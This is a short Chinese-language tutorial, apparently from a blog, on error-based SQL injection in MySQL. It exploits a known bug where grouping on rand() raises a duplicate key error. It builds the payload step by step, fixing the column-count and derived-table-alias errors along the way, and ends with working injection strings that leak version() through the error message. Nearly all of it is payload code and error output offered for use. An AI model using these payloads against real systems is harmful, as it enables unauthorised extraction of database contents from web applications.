這里主要用了mysql的一個BUG :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.
重現過程:
SQL Code復制內容到剪貼板
- use mysql;
- create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
- select left(rand(),3),a from r1 group by 1;
- select left(rand(),3),a, count(*) from r1 group by 1;
- select round(rand(1),1) ,a, count(*) from r1 group by 1;
于是便可以這樣拿來爆錯注入了。
復制代碼代碼如下:
select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>
嘗試拿來實戰
復制代碼代碼如下:
select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示錯誤 選擇的列應該為一個。那么。我們換一下
復制代碼代碼如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>
復制代碼代碼如下:
1248 (42000): Every derived table must have its own alias
提示多表查詢要有別名 那好辦
復制代碼代碼如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
復制代碼代碼如下:
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了.